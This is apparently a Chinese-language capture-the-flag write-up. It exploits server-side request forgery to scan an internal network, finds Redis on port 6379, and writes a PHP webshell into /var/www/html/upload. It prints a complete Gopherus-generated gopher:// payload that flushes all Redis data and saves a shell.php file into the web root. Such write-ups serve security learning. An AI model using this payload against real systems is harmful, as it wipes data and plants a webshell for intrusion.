一、题目环境
二、测试
使用http协议进行内网主机存活探测
查看代码发现file和dict都被过滤了以及127.0.0.1和localhost,但是它可以通过phpinfo的条件
三、漏洞点找寻
我们尝试用http访问以下phpinfo的IP,用http协议来探测端口,通过burpsuite抓包扫描端口得到80端口以及显示6379端口有个报错,这是redis的报错,说明这台内网主机上还运行着redis服务。
四、开始渗透
我们可以传webshell到服务器上,但是这个需要我们知道物理路径,但物理路径我们是不知道,我们可以尝试一些默认路径/var/www/html、 /usr/shart/nginx/html,发现都不行。现在我们怀疑是不是权限不够的原因,权限不够那咋个办,我们再找一下在html下有没有别的文件权限是够的。我们找个字典用bp扫描一下,发现有个upload
尝试在这个路径下 /var/www/html/upload使用gopher协议进行webshell写入
使用gopherus这个工具来构造我们的payload
gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
继续测试